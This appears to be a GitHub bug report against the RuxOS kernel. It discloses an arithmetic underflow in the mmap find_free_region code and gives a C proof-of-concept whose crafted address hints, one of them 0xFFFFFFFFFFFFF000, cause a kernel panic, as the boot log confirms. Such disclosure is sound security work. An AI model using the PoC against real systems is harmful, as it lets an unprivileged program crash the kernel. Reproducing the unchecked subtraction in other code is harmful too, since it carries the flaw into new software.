Arithmetic overflow in `mmap` in find_free_region

[nuczyc]

Describe the bug

When a user program invokes the mmap system call with a very large hint address (e.g., 0xFFFFFFFFFFFFF000 as shown in the PoC), the start variable can exceed the upper bound. Since these variables are likely unsigned integers (usize), the expression upper - start results in an arithmetic underflow.

ruxos/api/ruxos_posix_api/src/imp/mmap/utils.rs

Line 115 in 32a8fe8

if upper - start >= len && end_addr <= start {

To Reproduce

1. Compile the program and run.

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdint.h>

/*
 * PoC for potential arithmetic overflow in RuxOS mmap implementation
 * 
 * The crash occurs in find_free_region() at line 115:
 * if upper - start >= len && end_addr <= start {
 * 
 * This PoC attempts to trigger the overflow by:
 * 1. Calling mmap() with crafted address hints that could cause upper - start to underflow
 * 2. Using very large address values that might trigger the overflow condition
 * 3. Creating memory mappings that could lead to the problematic state
 * 
 * Note: This attempts to trigger the vulnerability through the mmap() system call,
 * which is the user-accessible interface to the vulnerable Rust code.
 */

int main() {
    size_t length = 4096;  // 4KB page size
    int prot = PROT_READ | PROT_WRITE;
    int flags = MAP_PRIVATE | MAP_ANONYMOUS;
    int fd = -1;
    off_t offset = 0;
    
    printf("Attempting to trigger arithmetic overflow in RuxOS mmap implementation...\n");
    
    // Test 1: Try with very large address hint that might cause underflow
    // when subtracted from 'upper' in the vulnerable code
    void *addr1 = (void *)0xFFFFFFFFFFFFF000UL;  // Very large address
    printf("Test 1: mmap with large address hint %p\n", addr1);
    void *result1 = mmap(addr1, length, prot, flags, fd, offset);
    if (result1 != MAP_FAILED) {
        printf("mmap succeeded at %p\n", result1);
        munmap(result1, length);
    } else {
        perror("mmap failed");
    }
    
    // Test 2: Try with address near the middle of address space
    // This might create conditions where upper < start
    void *addr2 = (void *)0x7FFFF0000000UL;
    printf("Test 2: mmap with address hint %p\n", addr2);
    void *result2 = mmap(addr2, length, prot, flags, fd, offset);
    if (result2 != MAP_FAILED) {
        printf("mmap succeeded at %p\n", result2);
        munmap(result2, length);
    } else {
        perror("mmap failed");
    }
    
    // Test 3: Try with NULL address first, then with specific hint
    // This might manipulate VMA state to trigger the condition
    printf("Test 3: Creating multiple mappings to manipulate VMA state\n");
    void *result3 = mmap(NULL, length, prot, flags, fd, offset);
    if (result3 != MAP_FAILED) {
        printf("First mapping at %p\n", result3);
        
        // Try to map at an address that might cause the overflow
        void *addr3 = (void *)((uintptr_t)result3 - 0x1000000UL);  // 16MB before
        printf("Attempting to map at %p\n", addr3);
        void *result4 = mmap(addr3, length, prot, flags, fd, offset);
        if (result4 != MAP_FAILED) {
            printf("Second mapping at %p\n", result4);
            munmap(result4, length);
        } else {
            perror("Second mmap failed");
        }
        
        munmap(result3, length);
    } else {
        perror("First mmap failed");
    }
    
    // Test 4: Try with MAP_FIXED flag to force specific address
    // This might directly trigger the vulnerable code path
    printf("Test 4: Using MAP_FIXED with crafted address\n");
    void *addr4 = (void *)0x800000000000UL;
    void *result5 = mmap(addr4, length, prot, flags | MAP_FIXED, fd, offset);
    if (result5 != MAP_FAILED) {
        printf("MAP_FIXED mapping at %p\n", result5);
        munmap(result5, length);
    } else {
        perror("MAP_FIXED mmap failed");
    }
    
    printf("PoC completed. If the vulnerability is triggerable, the kernel should panic.\n");
    return 0;
}

2.features.txt

alloc
paging
net
multitask
irq
fs

Environment

• RuxOS version:[Merge pull request #219 from syswonder/dev · syswonder/ruxos@32a8fe8](32a8fe8)

Logs

SeaBIOS (version 1.16.3-debian-1.16.3-2)


iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+7EFCAA40+7EF0AA40 CA00
                                                                               


Booting from ROM..
Initialize IDT & GDT...

8888888b.                     .d88888b.   .d8888b.
888   Y88b                   d88P" "Y88b d88P  Y88b
888    888                   888     888 Y88b.
888   d88P 888  888 888  888 888     888  "Y888b.
8888888P"  888  888 `Y8bd8P' 888     888     "Y88b.
888 T88b   888  888   X88K   888     888       "888
888  T88b  Y88b 888 .d8""8b. Y88b. .d88P Y88b  d88P
888   T88b  "Y88888 888  888  "Y88888P"   "Y8888P"

arch = x86_64
platform = x86_64-qemu-q35
target = x86_64-unknown-none
smp = 1
build_mode = debug
log_level = warn

[  0.209045 0 axfs_ramfs::dir:68] AlreadyExists sys
Attempting to trigger arithmetic overflow in RuxOS mmap implementation...
Test 1: mmap with large address hint 0xfffffffffffff000
[  0.210219 0:1 ruxruntime::lang_items:14] panicked at api/ruxos_posix_api/src/imp/mmap/utils.rs:115:12:
attempt to subtract with overflow